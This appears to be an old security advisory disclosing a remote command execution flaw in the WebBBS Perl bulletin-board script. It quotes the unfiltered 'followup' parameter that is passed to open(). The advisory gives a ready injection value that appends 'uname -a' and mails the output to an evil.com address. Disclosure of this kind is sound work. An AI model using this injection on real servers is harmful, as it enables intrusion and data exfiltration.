                --== Nerf gr0up: adv #7 ==--  
                     WebBBS remote command execution

Vulnerable:
WebBBS by Darryl Burgdorf 
(http://awsd.com/scripts/webbbs/).
All versions are vulnerable.
WebBBS is a Web-based bulletin board. WebBBS stores 
messages as simple text files.

Description:
WebBBS script allows command execution on server.
This script does no filtering and due to this
remote command execution is possible.

The vulnerable code is shown below:
-----
webbbs_post.pl: 

...
if ($FORM{'followup'}) { $followup = 
"$FORM{'followup'}"; }
...
if ($followup) {
...
                $subdir = "bbs".int($followup/1000);
                open 
(FOLLOWUP,"$dir/$subdir/$followup");
...
-----

Just change the value of $followup variable, e.g 
"followup=10" to 
"followup=10;uname -a|mail zlo () evil com|" to exploit 
this vulnerability.
